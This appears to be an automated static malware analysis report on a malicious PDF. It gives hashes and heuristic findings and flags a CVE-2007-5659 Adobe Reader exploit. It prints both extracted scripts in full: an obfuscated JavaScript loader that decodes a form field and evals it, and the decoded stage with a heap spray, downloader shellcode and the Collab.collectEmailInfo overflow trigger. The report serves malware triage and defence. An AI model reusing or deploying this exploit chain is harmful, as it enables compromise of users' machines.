Malicious PDF — malware analysis report

Static analysis result for SHA-256 d469639e3b8af040…

MALICIOUS

PDF

23.3 KB Created: 2012-08-25 19:31:42 +04:00 Authoring application: Adobe Acrobat 7.0 (via Adobe Acrobat 7.0 Image Conversion Plug-in) First seen: 2013-08-11
MD5: 1dd8ec660367fb9b835e64fc80334843 SHA-1: 24b627ed7ea5cfc72496dc72e83818a2c8e51c6a SHA-256: d469639e3b8af040b16f5e809396034543086cc23f0a0a909e8afcdc7ae48c8a
110 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file was flagged as suspicious by an ML classifier with high confidence. Static analysis revealed embedded JavaScript, indicating an attempt to execute code. The presence of JavaScript actions and embedded JS streams strongly suggests the document is designed to download and execute a second-stage payload. No specific family could be identified, but the techniques used are common for initial access malware.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9977

Heuristics 5

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0106_000.js pdf-javascript-stream PDF /JS object 106 at offset 0x5A1C 1070 bytes
SHA-256: f417e30240ed6258be0e094d38b1d2fd13c02a2b190e676d508637737a1da667
Detection
ClamAV: No threats found
Obfuscation or payload: likely
15 of 27 identifiers look randomly generated (e.g. 'cxbnadgasgsdghdfgsdg') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
var grqegasdfasd = ":A"+"BCDE"+"F"+"GHIJKLM";
var t24tqwtrqewrqw = "NO"+"PQRS"+"TUV"+"WX";
var czxbrewgfasdfas = "YZ{} ()"+"[]^";
var xxzcvawfasdfas =czxbrewgfasdfas+"abcd"+"efghijklmnopqrs";
var gnassdfvasvzcx = 'tuvwxyz_01234567'+'89/!%+-*.,;"=<>&'+'\\';
var vvfabvzcxvaffd=grqegasdfasd+t24tqwtrqewrqw+xxzcvawfasdfas+gnassdfvasvzcx;
function cvnatgfadfasd(mnfajodfuiasfs){
var cxbnadgasgsdghdfgsdg="";
var nmshtjsgfdsgds=vvfabvzcxvaffd.indexOf(mnfajodfuiasfs)-6;
if (nmshtjsgfdsgds<0){nmshtjsgfdsgds=nmshtjsgfdsgds+vvfabvzcxvaffd.length;}
cxbnadgasgsdghdfgsdg=vvfabvzcxvaffd.charAt(nmshtjsgfdsgds);
return cxbnadgasgsdghdfgsdg;}
function eadfzxcvasfsd(ysegsfdgasdfg){
var fvbaerfadf='';
for (var i = 0;i< ysegsfdgasdfg.length-1;i++)
{fvbaerfadf += cvnatgfadfasd(ysegsfdgasdfg[i]);}
return fvbaerfadf;}
var uehsgdhdsfg=getField("Text2");
var mgnuiao78sfasdf=uehsgdhdsfg.value;
var rtywtgdsfgsd=eadfzxcvasfsd(mgnuiao78sfasdf);
var mrwhagdsfgas = 'fgjbuerwioipejijisovnaicasodfskal';
app[mrwhagdsfgas[5]+mrwhagdsfgas[19]+mrwhagdsfgas[21]+mrwhagdsfgas[32]](rtywtgdsfgsd);
acroform_shifted_field_stage_000.js deobfuscated-js AcroForm field shifted-alphabet decoded (shift 6) at offset 0x4E1 2058 bytes
SHA-256: a69b23141bc7abc783a02a2436a044dedf39a62f4fbe48daec43fa4a3bd53c2d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function hex2bin(res) {var i;var g = Math.round(res.length/4);if (g != (res.length/4)) res = res + "00";var out = "";for (i=0; i<res.length; i+=4) {out = out + "%u" + res.substr(i+2,2) + res.substr(i,2);}return unescape(out);}function fix_it(yarsp, len){while(yarsp.length * 2 < len){yarsp += yarsp;}return yarsp.substring(0, len / 2);}function heapSpray(str){roteDak = str.length * 2;dakRote= "\u9090";spray = fix_it(dakRote, 0x2000 - roteDak);loxWhee = str + spray;loxWhee = fix_it(loxWhee, 524098);memory = new Array();for(i=0; i < 300; i++){memory[i] = loxWhee.substr(0,loxWhee.length - 1 ) + dakRote;}}function str_repeat ( input, cnt ) {var buf = "";for (i=0; i < cnt; i++){buf += input;}return buf;}function shellcode(loadUrl){var scode = "EB115B4B33C96681C9000480340BE4E2FAEB05E8EAFFFFFF0D5AE5E4E4D52D806F95D46F92E86F92F86F8AEC6FA2C46FD282DDACFC91166FA1D86FB0E19CE50E6F96C4E50AB6D52DADA549E50CD53FEB5AF4DC1690EC252FEAE537A40F15DFFB9103BE6F96C0E50A826FE8AA6F96F8E50A6FE06AE50C4FBFB727BB0C791B1B1B0C561B1B1B0C491B1B1B0C4C1B1B1B0C471B1B1B0C7A1B1B1B0C7D1B1B1B0C701B1B1B8C88D7D6E48C978C8188B01BB3186D210C9B1B1B1B0C9E1B1B1B8C8B8AE4E48C91968889B01BB3106D210C811B1B1B6723E0D52D6D01B1B5B58ECCB51BB314A1EB5AB1E4DC16911323A1E4B88997CA23A1E0819C81E46D01825FE0E482AF82671FE4EB602EE4E4E4D52DB5B5B1B3B51BB31C671CE491018EE08CE4F4E4E48CE4C4AAE48EE41BB3306D22D52DB58EB48EE7B5B58CE4E4E424B11BB33C6DA308B16D11D52D6D1C670CE0B5B48CC0F4E4E4B11B93081BB338E78B18679B18E491066D15ADA5DD0D90ECA564D5D7DD0D9117D52DB5B5B51B93081BB304D52D6D1C670CE0CD11B5B4B1B21B93081BB3001B93081BB30C825FE2E482AF82671FE490D6D52DB98EE1B5B5B1B5B51BB310671CC49A02D524D52DA4EB5AF0E3DC16911323E0E3C282D9D56DA8E3E0B5B5B5B3B51BB31CD52DB51BB3340C7E1A1B1B2593AE036E8B22F7066A9410EF5FD2F3953F0266F7186987975D31E51DF99B4DB8462C2FA0E27CA84A8287731B1B1B1B" +loadUrl + "E4";return scode;}var loadUrlAlsoXored = this.info.Title;var scode = shellcode(loadUrlAlsoXored);heapSpray(hex2bin(scode));var msg_bof = str_repeat( "\u0c0c\u0c0c" , 4096 );this.collabStore = Collab.collectEmailInfo({subj:"",msg:msg_bof}); \